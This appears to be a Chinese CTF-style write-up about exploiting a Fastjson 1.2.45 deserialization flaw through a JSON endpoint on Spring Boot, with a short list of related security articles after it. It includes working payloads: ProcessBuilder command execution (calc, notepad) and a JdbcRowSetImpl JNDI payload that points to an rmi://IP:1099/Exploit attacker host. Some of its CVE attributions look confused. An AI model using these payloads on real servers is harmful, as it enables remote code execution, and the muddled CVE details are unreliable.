Fastjson 1.2.45仅JSON接口反序列化漏洞

1.看到这个非敏感的JSON接口页面,无参数传入,敏感信息,只有一个普通age和name,源码,以及开发者工具,或者80端口都没有任何东西,那我们需要看看响应头或接口场景

2. 可以看出源码,以及开发者工具,或者80端口都没有任何东西

3.那我们接着收集一波信息,技术栈没有看见东西,nmap扫一个22端口,应该是管理员给自己开的一个ssh远程连接,我们对于这个最多只能进行爆破密码,但是百分百不是这方面的

**4.那应该就是我们需要自己构造payload,**对后端发送让他返回点什么,考虑到渗透测试中针对「JSON 接口」的标准化漏洞探测思路:

第一步:先修正请求的 "基础格式"(当前是 GET 请求,不适合传 JSON Payload)

抓的是GET 请求,而 JSON 接口的核心交互方式是 POST 请求 + 请求体传 JSON(GET 请求通常用 URL 参数传参,很少用请求体)。所以第一步要先调整请求:

  1. 把请求方法从GET改成POST(只有 POST 请求才有请求体,才能传我要测试的 JSON Payload);
  2. 保留Host等必要请求头,删掉Upgrade-Insecure-Requests这类 GET 请求的特有头。

第二步:添加Content-Type: application/json的原因(让后端 "识别请求体是 JSON")

POST 请求传 JSON 数据时,后端必须通过Content-Type: application/json这个请求头,才能知道 "请求体是 JSON 格式,需要用 JSON 解析库(比如 Fastjson)来解析":

  • 如果不加这个头,后端会默认把请求体当成 "普通字符串",你的 Fastjson Payload 根本不会被 Fastjson 处理(相当于 "你写了封中文信,但没标'中文',对方按乱码读了");
  • 这是所有 JSON 接口的通用通信规则,不是针对漏洞的特殊操作,是 "让 Payload 被正确解析" 的前提。

第三步:尝试 Fastjson Payload 的原因(JSON 接口的 "高频高危漏洞"),当然这一步需要慢慢测试,国内接口,以及国外从高频,特殊的开始

当确认这是 "Java 后端的 JSON 接口" 后,Fastjson 反序列化漏洞是这类接口的 "头号必测高危漏洞",理由是:

  1. 技术栈占比高:国内 Java 项目中,超过 60% 的 JSON 接口会用 Fastjson 作为解析库(比 Gson、Jackson 更常用);
  2. 漏洞危害极大:Fastjson 1.2.x 系列(比如你之前遇到的 1.2.45)存在大量反序列化漏洞,成功利用能直接执行系统命令、控制服务器;
  3. 探测成本低:只需要传一个标准的 Fastjson Payload(比如{"@type":"java.lang.ProcessBuilder",...}),就能快速验证是否存在漏洞。

5.点击 HackBar 的「Headers」选项, 注意有的hackbar不能直接提交,可以使用bp修改,添加:

Content-Type: application/json

计算机

{"@type":"java.lang.ProcessBuilder","command":["cmd","/c","calc"]}

记事本

{"@type":"java.lang.ProcessBuilder","command":["cmd","/c","notepad"]}

6.发现版本Fastjson 1.2.45:

Fastjson 反序列化漏洞(如 Fastjson 1.2.45 的 CVE-2022-25845)

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://IP:1099/Exploit","autoCommit":true}

后端组件与版本:

响应明确显示fastjson-version 1.2.45,说明后端使用Fastjson 1.2.45(该版本存在多个高危反序列化漏洞,如 CVE-2017-18349、CVE-2022-25845)。

 请求问题:

请求体的 JSON 存在语法错误(响应提示 "JSON parse error: syntax error, expect {, actual error, pos 0"),导致后端无法解析 Payload。

 后端框架:

响应中的 "Whitelabel Error Page" 是 Spring Boot 的默认错误页面,说明后端是Spring Boot+Fastjson的技术栈。

7.这个比较早的漏洞基本上都进行修复,直接github搜索poc或exp进行测试

相关推荐
视觉&物联智能1 小时前
【杂谈】-人工智能风险文化对组织决策的深远影响
人工智能·安全·ai·agi
cczixun3 小时前
OpenAI连发GPT-5.5系列:免费版幻觉大降,安全版能力飙升,千亿融资估值直冲8520亿美元
人工智能·gpt·安全
@insist1236 小时前
信息安全工程师-网络安全审计产品图谱与实战应用全解
网络·安全·软考·信息安全工程师·软件水平考试
m0_738120726 小时前
应急响应(重点)——记一次某公司流量应急溯源分析(附带下载链接)
服务器·前端·数据库·安全·web安全·网络安全
大大大大晴天️7 小时前
浅聊Hadoop集群的主流安全方案(LDAP+Kerberos+Ranger)
大数据·hadoop·安全
其实防守也摸鱼7 小时前
无线网络安全--实验 规避WLAN验证之发现隐藏的SSID
java·开发语言·网络·安全·web安全·智能路由器·无线网络安全
SuperherRo8 小时前
服务攻防-Java组件安全&FastJson&高版本JNDI&不出网C3P0&编码绕WAF&写入文件CI链
java·安全·fastjson·waf·不出网·高版本·写入文件
MY_TEUCK9 小时前
【Git 实习生小白专用】:最安全、永不翻车、公司最爱 的标准版本控制工作流程
git·安全·github
阿Y加油吧10 小时前
RAG 必学:ANN 检索、HNSW 算法与 Milvus 核心概念详解
数据库·mysql·json
yezannnnnn10 小时前
AI Agent又删我数据库?我直接写了个安全拦截器(附项目源码)
安全·agent·claude